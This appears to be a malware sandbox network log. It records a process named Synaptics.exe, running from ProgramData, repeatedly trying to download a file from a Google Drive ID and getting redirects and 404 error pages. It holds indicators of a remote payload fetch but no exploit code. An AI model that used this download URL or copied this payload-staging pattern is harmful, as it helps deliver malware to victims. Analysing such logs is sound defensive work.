Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:54 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:55 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6pahQ_UdA4un2kVqZsPHUXxjNWDOdpvRWnTq5SFjxkKZf62LN9BMxj-5rE6dztW8fo Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:55 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-JoMcuM7Wq7p81TJj6zxy0Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:55 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:55 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 39 37 33 6c 50 33 56 59 5f 6f 33 54 6d 33 6d 72 49 70 57 4b 76 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="973lP3VY_o3Tm3mrIpWKvw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:55 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	50153	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:54 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:55 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:55 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-v6XUvhQxuPKIu5HKZofnIg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	50155	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:54 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:55 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:55 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-wKFMzqFD5F6nPocTXsbHRw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	50156	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:55 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:55 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6m7I4d5dkD_1KV41lmpdh-YPFXEph_1_dPDzvPfLg8E3yKi7azfoYuXavSGznF4nQEO8oXvvc Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:55 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-WHJWB4VjmgvJjzf1Yjv2jw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:55 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:28:55 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 78 55 72 5a 6d 44 6f 4b 41 36 38 44 61 61 48 33 50 67 48 79 48 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="xUrZmDoKA68DaaH3PgHyHA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:28:55 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	50167	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:55 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	50166	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:55 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	50175	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:56 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:57 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:56 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-eYS3b435jij1FDhAbSYzHw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	50176	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:56 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:57 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:56 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-pUTIEu636HaQOh7Cp4OqYA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	50186	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:57 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:58 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:58 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-x1bAp8pgK1KgVb-s28nFTg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	50187	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:57 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:58 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:58 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-hLKH8OxhSZsQ1Gxt782rNw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	50188	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:57 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:58 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6F3L0rB5oDN5rRx7JEj556pw4N4Dk0oknwtPEljgqu67YF0pt9mwnpbjdqMzuU14uc Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:58 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-P7IP5lyNBYaTEYEIxTXc1A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:58 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
